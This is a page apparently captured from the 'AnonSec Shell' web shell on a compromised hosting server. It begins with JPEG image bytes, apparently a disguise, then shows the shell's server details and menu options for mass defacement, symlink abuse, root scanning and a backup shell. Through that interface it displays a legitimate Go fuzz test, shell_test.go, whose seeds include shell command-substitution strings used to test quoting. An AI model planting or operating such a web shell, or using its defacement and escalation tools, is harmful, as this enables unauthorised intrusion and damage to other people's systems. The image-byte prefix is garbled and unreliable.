JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 46.28.45.50  /  Your IP : 216.73.217.30   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/go/internal/work/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/golang/1.22.0/src/cmd/go/internal/work/shell_test.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

//go:build unix

package work

import (
	"bytes"
	"internal/testenv"
	"strings"
	"testing"
	"unicode"
)

func FuzzSplitPkgConfigOutput(f *testing.F) {
	testenv.MustHaveExecPath(f, "/bin/sh")

	f.Add([]byte(`$FOO`))
	f.Add([]byte(`\$FOO`))
	f.Add([]byte(`${FOO}`))
	f.Add([]byte(`\${FOO}`))
	f.Add([]byte(`$(/bin/false)`))
	f.Add([]byte(`\$(/bin/false)`))
	f.Add([]byte(`$((0))`))
	f.Add([]byte(`\$((0))`))
	f.Add([]byte(`unescaped space`))
	f.Add([]byte(`escaped\ space`))
	f.Add([]byte(`"unterminated quote`))
	f.Add([]byte(`'unterminated quote`))
	f.Add([]byte(`unterminated escape\`))
	f.Add([]byte(`"quote with unterminated escape\`))
	f.Add([]byte(`'quoted "double quotes"'`))
	f.Add([]byte(`"quoted 'single quotes'"`))
	f.Add([]byte(`"\$0"`))
	f.Add([]byte(`"\$\0"`))
	f.Add([]byte(`"\$"`))
	f.Add([]byte(`"\$ "`))

	// Example positive inputs from TestSplitPkgConfigOutput.
	// Some bare newlines have been removed so that the inputs
	// are valid in the shell script we use for comparison.
	f.Add([]byte(`-r:foo -L/usr/white\ space/lib -lfoo\ bar -lbar\ baz`))
	f.Add([]byte(`-lextra\ fun\ arg\\`))
	f.Add([]byte("\textra     whitespace\r"))
	f.Add([]byte("     \r      "))
	f.Add([]byte(`"-r:foo" "-L/usr/white space/lib" "-lfoo bar" "-lbar baz"`))
	f.Add([]byte(`"-lextra fun arg\\"`))
	f.Add([]byte(`"     \r\n\      "`))
	f.Add([]byte(`""`))
	f.Add([]byte(``))
	f.Add([]byte(`"\\"`))
	f.Add([]byte(`"\x"`))
	f.Add([]byte(`"\\x"`))
	f.Add([]byte(`'\\'`))
	f.Add([]byte(`'\x'`))
	f.Add([]byte(`"\\x"`))
	f.Add([]byte("\\\n"))
	f.Add([]byte(`-fPIC -I/test/include/foo -DQUOTED='"/test/share/doc"'`))
	f.Add([]byte(`-fPIC -I/test/include/foo -DQUOTED="/test/share/doc"`))
	f.Add([]byte(`-fPIC -I/test/include/foo -DQUOTED=\"/test/share/doc\"`))
	f.Add([]byte(`-fPIC -I/test/include/foo -DQUOTED='/test/share/doc'`))
	f.Add([]byte(`-DQUOTED='/te\st/share/d\oc'`))
	f.Add([]byte(`-Dhello=10 -Dworld=+32 -DDEFINED_FROM_PKG_CONFIG=hello\ world`))
	f.Add([]byte(`"broken\"" \\\a "a"`))

	// Example negative inputs from TestSplitPkgConfigOutput.
	f.Add([]byte(`"     \r\n      `))
	f.Add([]byte(`"-r:foo" "-L/usr/white space/lib "-lfoo bar" "-lbar baz"`))
	f.Add([]byte(`"-lextra fun arg\\`))
	f.Add([]byte(`broken flag\`))
	f.Add([]byte(`extra broken flag \`))
	f.Add([]byte(`\`))
	f.Add([]byte(`"broken\"" "extra" \`))

	f.Fuzz(func(t *testing.T, b []byte) {
		t.Parallel()

		if bytes.ContainsAny(b, "*?[#~%\x00{}!") {
			t.Skipf("skipping %#q: contains a sometimes-quoted character", b)
		}
		// splitPkgConfigOutput itself rejects inputs that contain unquoted
		// shell operator characters. (Quoted shell characters are fine.)

		for _, c := range b {
			if c > unicode.MaxASCII {
				t.Skipf("skipping %#q: contains a non-ASCII character %q", b, c)
			}
			if !unicode.IsGraphic(rune(c)) && !unicode.IsSpace(rune(c)) {
				t.Skipf("skipping %#q: contains non-graphic character %q", b, c)
			}
		}

		args, err := splitPkgConfigOutput(b)
		if err != nil {
			// We haven't checked that the shell would actually reject this input too,
			// but if splitPkgConfigOutput rejected it it's probably too dangerous to
			// run in the script.
			t.Logf("%#q: %v", b, err)
			return
		}
		t.Logf("splitPkgConfigOutput(%#q) = %#q", b, args)
		if len(args) == 0 {
			t.Skipf("skipping %#q: contains no arguments", b)
		}

		var buf strings.Builder
		for _, arg := range args {
			buf.WriteString(arg)
			buf.WriteString("\n")
		}
		wantOut := buf.String()

		if strings.Count(wantOut, "\n") != len(args)+bytes.Count(b, []byte("\n")) {
			// One of the newlines in b was treated as a delimiter and not part of an
			// argument. Our bash test script would interpret that as a syntax error.
			t.Skipf("skipping %#q: contains a bare newline", b)
		}

		// We use the printf shell command to echo the arguments because, per
		// https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html#tag_20_37_16:
		// “It is not possible to use echo portably across all POSIX systems unless
		// both -n (as the first argument) and escape sequences are omitted.”
		cmd := testenv.Command(t, "/bin/sh", "-c", "printf '%s\n' "+string(b))
		cmd.Env = append(cmd.Environ(), "LC_ALL=POSIX", "POSIXLY_CORRECT=1")
		cmd.Stderr = new(strings.Builder)
		out, err := cmd.Output()
		if err != nil {
			t.Fatalf("%#q: %v\n%s", cmd.Args, err, cmd.Stderr)
		}

		if string(out) != wantOut {
			t.Logf("%#q:\n%#q", cmd.Args, out)
			t.Logf("want:\n%#q", wantOut)
			t.Errorf("parsed args do not match")
		}
	})
}

Anon7 - 2022
AnonSec Team